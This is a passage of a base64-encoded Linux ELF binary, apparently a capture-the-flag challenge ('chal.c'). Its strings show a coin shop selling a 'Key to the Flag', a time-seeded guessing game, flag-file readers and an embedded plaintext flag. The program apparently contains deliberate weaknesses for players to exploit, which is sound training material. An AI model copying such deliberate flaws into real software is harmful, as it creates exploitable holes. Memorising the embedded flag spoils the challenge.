7InCicgPr8KJwg+2Be4qAAAB0IgF5ioAAItF8EiYi0SF4CtF7InCi0XwSJiJVIXg6zCLRfCNUDFI
iwXIKgAASI01cQsAAEiJx7gAAAAA6LT6//9IiwWtKgAASInH6MX6//+Q6T0BAAAPtgWQKgAAD7bQ
SIsFjioAAEiNNeELAABIice4AAAAAOh6+v//i1XgSIsFcCoAAEiNNdwLAABIice4AAAAAOhc+v//
i1XkSIsFUioAAEiNNdMLAABIice4AAAAAOg++v//i1XoSIsFNCoAAEiNNc0LAABIice4AAAAAOgg
+v//SIsFGSoAAEiJx+gx+v//i0XohcAPjqQAAABIiwX/KQAASInBuh0AAAC+AQAAAEiNPaoLAADo
Nvr//0iLBd8pAABIicfo9/n//7gBAAAA631IiwXJKQAASInBug4AAAC+AQAAAEiNPZILAADoAPr/
/0iLBakpAABIicfowfn//8ZF/wDrOb8BAAAA6NH5//9IiwWKKQAASInBujMAAAC+AQAAAEiNPWYL
AADowfn//0iLBWopAABIicfogvn//4B9/wAPhf/6//+4AAAAAMnDVUiJ5UiD7BAPtgU6KQAAPBN0
OUiLBTcpAABIicG6IQAAAL4BAAAASI09SwsAAOhu+f//SIsFFykAAEiJx+gv+f//uAAAAADpCAIA
AL8AAAAA6Av5//9IiUX4SIsF8CgAAEiLVfhIjTUvCwAASInHuAAAAADo2Pj//0iLRfiJx+it+P//
6bcBAABIiwXBKAAASInBuiMAAAC+AQAAAEiNPQULAADo+Pj//0iLBaEoAABIicfoufj//+iE+P//
iEX3gH33AHk5SIsFhCgAAEiJwboUAAAAvgEAAABIjT3sCgAA6Lv4//9IiwVkKAAASInH6Hz4//+4
AAAAAOlVAQAAD7ZF94PoMIhF9w++VfcPtgU1KAAAD7bAOcJ/BoB99wB5OUiLBSkoAABIicG6FAAA
AL4BAAAASI09kQoAAOhg+P//SIsFCSgAAEiJx+gh+P//uAAAAADp+gAAAEiLBfAnAABIicG6GQAA
AL4BAAAASI09bQoAAOgn+P//SIsF0CcAAEiJx+jo9///6LP3//+D6DCIRfboGPj//4nBumdmZmaJ
yPfqwfoCicjB+B8pwonQiUXwi1XwidDB4AIB0AHAKcGJyIlF8A++RfY5RfB1REiLBXsnAABIicG6
CQAAAL4BAAAASI09EgoAAOiy9///SIsFWycAAEiJx+hz9///D7YVRCcAAA+2RfcB0IgFOCcAAOst
SIsFNycAAItV8EiNNeIJAABIice4AAAAAOgg9///SIsFGScAAEiJx+gx9///D7YFAicAADw3D4U6
/v//uAEAAADJw1VIieVIg+wQuAAAAADoO/j//4TAD4SgAAAASI01pgkAAEiNPaEJAADo/vb//0iJ
RfBIg33wAHUlSI09lQkAAOhX9v//SIsFsCYAAEiJx+jI9v//vwAAAADo3vb//0iLRfBIicfoYvb/
/4hF/+saD75F/4nH6BL2//9Ii0XwSInH6Eb2//+IRf+Aff//deBIi0XwSInH6BH2//+/CgAAAOjn
9f//SIsFUCYAAEiJx+ho9v//uAEAAADrBbgAAAAAycNVSInlSIPsELgAAAAA6Nf8//+EwA+EoAAA
AEiNNeUIAABIjT39CAAA6D32//9IiUXwSIN98AB1JUiNPdQIAADolvX//0iLBe8lAABIicfoB/b/
/78AAAAA6B32//9Ii0XwSInH6KH1//+IRf/rGg++Rf+Jx+hR9f//SItF8EiJx+iF9f//iEX/gH3/
/3XgSItF8EiJx+hQ9f//vwoAAADoJvX//0iLBY8lAABIicfop/X//7gBAAAA6wW4AAAAAMnDVUiJ
5UiD7EBIjUXASLpiYXNlNjQgY0iJEMdACGhhbABIjUXASInH6A31//9IjQU+CAAASIlF+LgAAAAA
6D3+//+EwHQKuAAAAADo8P7//7gAAAAAycMPHwBBV0mJ10FWSYn2QVVBif1BVEyNJXgiAABVSI0t
eCIAAFNMKeVIg+wI6FP0//9Iwf0DdBsx2w8fAEyJ+kyJ9kSJ70H/FNxIg8MBSDnddepIg8QIW11B
XEFdQV5BX8MPHwDDAAAASIPsCEiDxAjDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAIAAAAAAFdlbGNvbWUg
dG8gbXkgU2hvcCEKV2hhdCB3b3VsZCB5b3UgbGlrZSB0byBkbz8KADEpIEJ1eQoyKSBTZWxsCjMp
IFZpZXcgWW91ciBJbnZlbnRvcnkKNCkgTGVhdmUgU2hvcAoAV2hhdCB3b3VsZCB5b3UgbGlrZSB0
byBidXk/CgAAAAAAAAAxKSBBbiBBcHBsZSAoMiBjb2lucykKMikgQW4gT3JhbmdlICg2IGNvaW5z
KQozKSBUaGUgS2V5IHRvIHRoZSBGbGFnICgxMDAgY29pbnMpCgBBcHBsZXMAT3JhbmdlcwBLZXlz
IHRvIHRoZSBGbGFnAAAAAAAAAABIb3cgbWFueSAlcyB3b3VsZCB5b3UgbGlrZSB0byBidXk/CgAA
AAAAWW91IGRvbid0IGhhdmUgZW5vdWdoIG1vbmV5IDooCgAlYyBpcyBub3QgYSB2YWxpZCBvcHRp
b24KAFdoYXQgd291bGQgeW91IGxpa2UgdG8gc2VsbD8KADEpIEFuIEFwcGxlICgxIGNvaW5zKQoy
KSBBbiBPcmFuZ2UgKDMgY29pbnMpCgAAAEhvdyBtYW55ICVzIHdvdWxkIHlvdSBsaWtlIHRvIHNl
bGw/CgBZb3UgZG9uJ3QgaGF2ZSBlbm91Z2ggJXMgOigKAFlvdSBoYXZlICVkIGdvbGQgY29pbnMh
CgBZb3UgaGF2ZSAlZCBBcHBsZXMhCgBZb3UgaGF2ZSAlZCBPcmFuZ2VzIQoAAABZb3UgaGF2ZSAl
ZCBLZXlzIHRvIHRoZSBGbGFnIQoAQ29uZ3JhdHMhISBZb3UgaGF2ZSB0aGUga2V5IQoAR29vZGJ5
ZSB0aGVuIQoAAAAAAERvIHlvdSByZWFsbHkgdGhpbmsgdGhpcyB3b3VsZCBiZSBzbyBlYXN5IHRv
IGhhY2s/CgAAAAAAWW91IGRpZG4ndCBzdGFydCBhbGwgb3ZlciBhZ2FpbiEKAFRpbWU6ICV6dQoA
AAAASG93IG11Y2ggbW9uZXkgZG8geW91IHdhbnQgdG8gYmV0PwoARG9uJ3QgdHJ5IGNoZWF0aW5n
IQoAV2hhdCBpcyB0aGUgdmFsdWU/ICgwLTkpCgBDb3JyZWN0IQoAQ29ycmVjdCBWYWx1ZSB3YXM6
ICVkCgByAGZsYWctMS50eHQAQ2Fubm90IG9wZW4gZmlsZSAAZmxhZy0yLnR4dAAAAGZsYWd7YjRz
MzY0XzFzX3MwX2Mzd2xfd2gwX2tuM3dfeW91X2MwdTFkX2RvX3RoMTV9AAABGwM7WAAAAAoAAABU
7P//tAAAAETt//90AAAAdO3//6AAAAAm7v//3AAAAIPz///8AAAA2fX//xwBAACa9v//PAEAAFv3
//9cAQAAtPf//3wBAAAU+P//xAEAABQAAAAAAAAAAXpSAAF4EAEbDAcIkAEHEBAAAAAcAAAAyOz/
/ysAAAAAAAAAFAAAAAAAAAABelIAAXgQARsMBwiQAQAAEAAAABwAAADM7P//AQAAAAAAAAAkAAAA
MAAAAJjr///wAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAHAAAAFgAAABC7f//XQUAAABBDhCG
AkMNBgNYBQwHCAAcAAAAeAAAAH/y//9WAgAAAEEOEIYCQw0GA1ECDAcIABwAAACYAAAAtfT//8EA
AAAAQQ4QhgJDDQYCvAwHCAAAHAAAALgAAABW9f//wQAAAABBDhCGAkMNBgK8DAcIAAAcAAAA2AAA
APf1//9WAAAAAEEOEIYCQw0GAlEMBwgAAEQAAAD4AAAAMPb//10AAAAAQg4QjwJFDhiOA0UOII0E
RQ4ojAVIDjCGBkgOOIMHRw5Aag44QQ4wQQ4oQg4gQg4YQg4QQg4IABAAAABAAQAASPb//wEAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwEUAAAAAA
AMARQAAAAAAAAQAAAAAAAAABAAAAAAAAAAwAAAAAAAAAABBAAAAAAAANAAAAAAAAAOQbQAAAAAAA
GQAAAAAAAAAQPkAAAAAAABsAAAAAAAAACAAAAAAAAAAaAAAAAAAAABg+QAAAAAAAHAAAAAAAAAAI
AAAAAAAAAPX+/28AAAAACANAAAAAAAAFAAAAAAAAAOAEQAAAAAAABgAAAAAAAAAwA0AAAAAAAAoA
AAAAAAAAlAAAAAAAAAALAAAAAAAAABgAAAAAAAAAFQAAAAAAAAAAAAAAAAAAAAMAAAAAAAAAAEBA
AAAAAAACAAAAAAAAAFABAAAAAAAAFAAAAAAAAAAHAAAAAAAAABcAAAAAAAAAAAZAAAAAAAAHAAAA
AAAAALgFQAAAAAAACAAAAAAAAABIAAAAAAAAAAkAAAAAAAAAGAAAAAAAAAD+//9vAAAAAJgFQAAA
AAAA////bwAAAAABAAAAAAAAAPD//28AAAAAdAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAID5AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
NhBAAAAAAABGEEAAAAAAAFYQQAAAAAAAZhBAAAAAAAB2EEAAAAAAAIYQQAAAAAAAlhBAAAAAAACm
EEAAAAAAALYQQAAAAAAAxhBAAAAAAADWEEAAAAAAAOYQQAAAAAAA9hBAAAAAAAAGEUAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAKR0NDOiAoRGViaWFuIDguMy4wLTYpIDguMy4wAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAADAAEAqAJAAAAAAAAAAAAAAAAAAAAAAAADAAIAxAJAAAAAAAAAAAAA
AAAAAAAAAAADAAMA5AJAAAAAAAAAAAAAAAAAAAAAAAADAAQACANAAAAAAAAAAAAAAAAAAAAAAAAD
AAUAMANAAAAAAAAAAAAAAAAAAAAAAAADAAYA4ARAAAAAAAAAAAAAAAAAAAAAAAADAAcAdAVAAAAA
AAAAAAAAAAAAAAAAAAADAAgAmAVAAAAAAAAAAAAAAAAAAAAAAAADAAkAuAVAAAAAAAAAAAAAAAAA
AAAAAAADAAoAAAZAAAAAAAAAAAAAAAAAAAAAAAADAAsAABBAAAAAAAAAAAAAAAAAAAAAAAADAAwA
IBBAAAAAAAAAAAAAAAAAAAAAAAADAA0AEBFAAAAAAAAAAAAAAAAAAAAAAAADAA4A5BtAAAAAAAAA
AAAAAAAAAAAAAAADAA8AACBAAAAAAAAAAAAAAAAAAAAAAAADABAAzCNAAAAAAAAAAAAAAAAAAAAA
AAADABEAKCRAAAAAAAAAAAAAAAAAAAAAAAADABIAED5AAAAAAAAAAAAAAAAAAAAAAAADABMAGD5A
AAAAAAAAAAAAAAAAAAAAAAADABQAID5AAAAAAAAAAAAAAAAAAAAAAAADABUA8D9AAAAAAAAAAAAA
AAAAAAAAAAADABYAAEBAAAAAAAAAAAAAAAAAAAAAAAADABcAiEBAAAAAAAAAAAAAAAAAAAAAAAAD
ABgAoEBAAAAAAAAAAAAAAAAAAAAAAAADABkAAAAAAAAAAAAAAAAAAAAAAAEAAAAEAPH/AAAAAAAA
AAAAAAAAAAAAAAwAAAACAA0AUBFAAAAAAAAAAAAAAAAAAA4AAAACAA0AgBFAAAAAAAAAAAAAAAAA
ACEAAAACAA0AwBFAAAAAAAAAAAAAAAAAADcAAAABABgAqEBAAAAAAAABAAAAAAAAAEYAAAABABMA
GD5AAAAAAAAAAAAAAAAAAG0AAAACAA0A8BFAAAAAAAAAAAAAAAAAAHkAAAABABIAED5AAAAAAAAA
AAAAAAAAAJgAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAAEAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAJ8A
AAABABEApCVAAAAAAAAAAAAAAAAAAAAAAAAEAPH/AAAAAAAAAAAAAAAAAAAAAK0AAAAAABIAGD5A
AAAAAAAAAAAAAAAAAL4AAAABABQAID5AAAAAAAAAAAAAAAAAAMcAAAAAABIAED5AAAAAAAAAAAAA
AAAAANoAAAAAABAAzCNAAAAAAAAAAAAAAAAAAO0AAAABABYAAEBAAAAAAAAAAAAAAAAAAAMBAAAS
AA0A4BtAAAAAAAABAAAAAAAAABMBAAASAAAAAAAAAAAAAAAAAAAAAAAAACgBAAARABgAoEBAAAAA
AAAIAAAAAAAAANgBAAAgABcAiEBAAAAAAAAAAAAAAAAAADwBAAASAAAAAAAAAAAAAAAAAAAAAAAA
AE4BAAAQABcAmUBAAAAAAAAAAAAAAAAAAFUBAAASAAAAAAAAAAAAAAAAAAAAAAAAAA0BAAASAg4A
5BtAAAAAAAAAAAAAAAAAAGkBAAASAAAAAAAAAAAAAAAAAAAAAAAAAH0BAAASAA0ATxdAAAAAAABW
AgAAAAAAAIQBAAASAAAAAAAAAAAAAAAAAAAAAAAAAJcBAAASAA0AZhpAAAAAAADBAAAAAAAAAKQB
AAASAAAAAAAAAAAAAAAAAAAAAAAAAMMBAAASAAAAAAAAAAAAAAAAAAAAAAAAANYBAAAQABcAiEBA
AAAAAAAAAAAAAAAAAOMBAAASAAAAAAAAAAAAAAAAAAAAAAAAAPgBAAASAAAAAAAAAAAAAAAAAAAA
AAAAAA0CAAAgAAAAAAAAAAAAAAAAAAAAAAAAABwCAAARAhcAkEBAAAAAAAAAAAAAAAAAACkCAAAR
AA8AACBAAAAAAAAEAAAAAAAAADgCAAASAAAAAAAAAAAAAAAAAAAAAAAAAEoCAAASAA0AgBtAAAAA
AABdAAAAAAAAAFoCAAASAAAAAAAAAAAAAAAAAAAAAAAAALkAAAAQABgAsEBAAAAAAAAAAAAAAAAA
AG4CAAASAg0AQBFAAAAAAAABAAAAAAAAANwBAAASAA0AEBFAAAAAAAArAAAAAAAAAIYCAAAQABgA
mUBAAAAAAAAAAAAAAAAAAJICAAASAA0AJxtAAAAAAABWAAAAAAAAAJcCAAASAAAAAAAAAAAAAAAA
AAAAAAAAAKoCAAARABcAmEBAAAAAAAABAAAAAAAAALACAAASAA0A8hFAAAAAAABdBQAAAAAAALcC
AAASAA0ApRlAAAAAAADBAAAAAAAAAMQCAAASAAAAAAAAAAAAAAAAAAAAAAAAANYCAAASAAAAAAAA
AAAAAAAAAAAAAAAAAOoCAAARAhcAoEBAAAAAAAAAAAAAAAAAAFQCAAASAgsAABBAAAAAAAAAAAAA
AAAAAMQBAAASAAAAAAAAAAAAAAAAAAAAAAAAAABjcnRzdHVmZi5jAGRlcmVnaXN0ZXJfdG1fY2xv
bmVzAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABjb21wbGV0ZWQuNzMyNQBfX2RvX2dsb2JhbF9kdG9y
c19hdXhfZmluaV9hcnJheV9lbnRyeQBmcmFtZV9kdW1teQBfX2ZyYW1lX2R1bW15X2luaXRfYXJy
YXlfZW50cnkAY2hhbC5jAF9fRlJBTUVfRU5EX18AX19pbml0X2FycmF5X2VuZABfRFlOQU1JQwBf
X2luaXRfYXJyYXlfc3RhcnQAX19HTlVfRUhfRlJBTUVfSERSAF9HTE9CQUxfT0ZGU0VUX1RBQkxF
XwBfX2xpYmNfY3N1X2ZpbmkAcHV0Y2hhckBAR0xJQkNfMi4yLjUAc3Rkb3V0QEBHTElCQ18yLjIu
NQBwdXRzQEBHTElCQ18yLjIuNQBfZWRhdGEAZmNsb3NlQEBHTElCQ18yLjIuNQBzeXN0ZW1AQEdM
SUJDXzIuMi41AExldmVsMgBmZ2V0Y0BAR0xJQkNfMi4yLjUAcHJpbnRfZmxhZ18yAF9fbGliY19z
dGFydF9tYWluQEBHTElCQ18yLjIuNQBzcmFuZEBAR0xJQkNfMi4yLjUAX19kYXRhX3N0YXJ0AGdl
dGNoYXJAQEdMSUJDXzIuMi41AGZwcmludGZAQEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAF9f
ZHNvX2hhbmRsZQBfSU9fc3RkaW5fdXNlZAB0aW1lQEBHTElCQ18yLjIuNQBfX2xpYmNfY3N1X2lu
aXQAZmZsdXNoQEBHTElCQ18yLjIuNQBfZGxfcmVsb2NhdGVfc3RhdGljX3BpZQBfX2Jzc19zdGFy
dABtYWluAGZvcGVuQEBHTElCQ18yLjIuNQBjb2lucwBMZXZlbDEAcHJpbnRfZmxhZ18xAGV4aXRA
QEdMSUJDXzIuMi41AGZ3cml0ZUBAR0xJQkNfMi4yLjUAX19UTUNfRU5EX18AAC5zeW10YWIALnN0
cnRhYgAuc2hzdHJ0YWIALmludGVycAAubm90ZS5BQkktdGFnAC5ub3RlLmdudS5idWlsZC1pZAAu
Z251Lmhhc2gALmR5bnN5bQAuZHluc3RyAC5nbnUudmVyc2lvbgAuZ251LnZlcnNpb25fcgAucmVs
YS5keW4ALnJlbGEucGx0AC5pbml0AC50ZXh0AC5maW5pAC5yb2RhdGEALmVoX2ZyYW1lX2hkcgAu
ZWhfZnJhbWUALmluaXRfYXJyYXkALmZpbmlfYXJyYXkALmR5bmFtaWMALmdvdAAuZ290LnBsdAAu
ZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAAAAAAAKgCQAAAAAAA
qAIAAAAAAAAcAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACMAAAAHAAAAAgAAAAAAAADE
AkAAAAAAAMQCAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAxAAAABwAAAAIA
AAAAAAAA5AJAAAAAAADkAgAAAAAAACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAARAAA
APb//28CAAAAAAAAAAgDQAAAAAAACAMAAAAAAAAkAAAAAAAAAAUAAAAAAAAACAAAAAAAAAAAAAAA
AAAAAE4AAAALAAAAAgAAAAAAAAAwA0AAAAAAADADAAAAAAAAsAEAAAAAAAAGAAAAAQAAAAgAAAAA
AAAAGAAAAAAAAABWAAAAAwAAAAIAAAAAAAAA4ARAAAAAAADgBAAAAAAAAJQAAAAAAAAAAAAAAAAA
AAABAAAAAAAAAAAAAAAAAAAAXgAAAP///28CAAAAAAAAAHQFQAAAAAAAdAUAAAAAAAAkAAAAAAAA
AAUAAAAAAAAAAgAAAAAAAAACAAAAAAAAAGsAAAD+//9vAgAAAAAAAACYBUAAAAAAAJgFAAAAAAAA
IAAAAAAAAAAGAAAAAQAAAAgAAAAAAAAAAAAAAAAAAAB6AAAABAAAAAIAAAAAAAAAuAVAAAAAAAC4
BQAAAAAAAEgAAAAAAAAABQAAAAAAAAAIAAAAAAAAABgAAAAAAAAAhAAAAAQAAABCAAAAAAAAAAAG
QAAAAAAAAAYAAAAAAABQAQAAAAAAAAUAAAAWAAAACAAAAAAAAAAYAAAAAAAAAI4AAAABAAAABgAA
AAAAAAAAEEAAAAAAAAAQAAAAAAAAFwAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACJAAAA
AQAAAAYAAAAAAAAAIBBAAAAAAAAgEAAAAAAAAPAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAA
AAAAlAAAAAEAAAAGAAAAAAAAABARQAAAAAAAEBEAAAAAAADRCgAAAAAAAAAAAAAAAAAAEAAAAAAA
AAAAAAAAAAAAAJoAAAABAAAABgAAAAAAAADkG0AAAAAAAOQbAAAAAAAACQAAAAAAAAAAAAAAAAAA
AAQAAAAAAAAAAAAAAAAAAACgAAAAAQAAAAIAAAAAAAAAACBAAAAAAAAAIAAAAAAAAMsDAAAAAAAA
AAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAqAAAAAEAAAACAAAAAAAAAMwjQAAAAAAAzCMAAAAAAABc
AAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAALYAAAABAAAAAgAAAAAAAAAoJEAAAAAAACgk
AAAAAAAAgAEAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADAAAAADgAAAAMAAAAAAAAAED5A
AAAAAAAQLgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAzAAAAA8AAAADAAAA
AAAAABg+QAAAAAAAGC4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANgAAAAG
AAAAAwAAAAAAAAAgPkAAAAAAACAuAAAAAAAA0AEAAAAAAAAGAAAAAAAAAAgAAAAAAAAAEAAAAAAA
AADhAAAAAQAAAAMAAAAAAAAA8D9AAAAAAADwLwAAAAAAABAAAAAAAAAAAAAAAAAAAAAIAAAAAAAA
AAgAAAAAAAAA5gAAAAEAAAADAAAAAAAAAABAQAAAAAAAADAAAAAAAACIAAAAAAAAAAAAAAAAAAAA
CAAAAAAAAAAIAAAAAAAAAO8AAAABAAAAAwAAAAAAAACIQEAAAAAAAIgwAAAAAAAAEQAAAAAAAAAA
AAAAAAAAAAgAAAAAAAAAAAAAAAAAAAD1AAAACAAAAAMAAAAAAAAAoEBAAAAAAACZMAAAAAAAABAA
AAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA+gAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAmTAA
